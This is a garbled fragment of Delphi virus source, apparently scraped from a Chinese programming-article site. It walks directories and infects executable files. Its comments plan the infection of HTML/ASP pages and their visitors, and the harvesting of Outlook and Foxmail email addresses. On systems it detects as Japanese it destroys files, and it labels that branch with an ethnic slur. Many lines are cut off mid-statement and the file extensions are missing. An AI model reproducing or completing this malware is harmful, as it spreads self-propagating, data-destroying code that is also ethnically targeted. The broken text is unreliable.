begin
if (FindFirst(Path + Mask
begin
repeat
PeekMessage(Msg
if IsValidDir(SearchRec) =
begin
Fn := Path + SearchRec
Ext := UpperCase(ExtractFileExt(Fn));
if (Ext =
begin
InfectOneFile(Fn); //感染可執行文件
end
else if (Ext =
begin
//感染HTML和ASP文件
//感染浏覽此網頁的所有用戶
//哪位大兄弟願意完成之?
end
else if Ext =
begin
//獲取Outlook郵件地址
end
else if Ext =
begin
//獲取Foxmail郵件地址
end
else if Ext =
begin
//獲取Foxmail郵件地址
end
else
begin
if IsJap then //是倭文操作系統
begin
if (Ext =
(Ext =
(Ext =
(Ext =
(Ext =
(Ext =
SmashFile(Fn); //摧毀文件
end;
end;
end;
//感染或刪除一個文件後睡眠
Sleep(
until (FindNext(SearchRec) <>
end;
FindClose(SearchRec);
SubDir := TStringList
if (FindFirst(Path +
begin
repeat
if IsValidDir(SearchRec) =
SubDir
until (FindNext(SearchRec) <>
end;
FindClose(SearchRec);
Count := SubDir
for i :=
LoopFiles(Path + SubDir
FreeAndNil(SubDir);
end;
{ 遍歷磁盤上所有的文件 }
[
From:http://tw.wingwit.com/Article/program/Delphi/201311/8476.html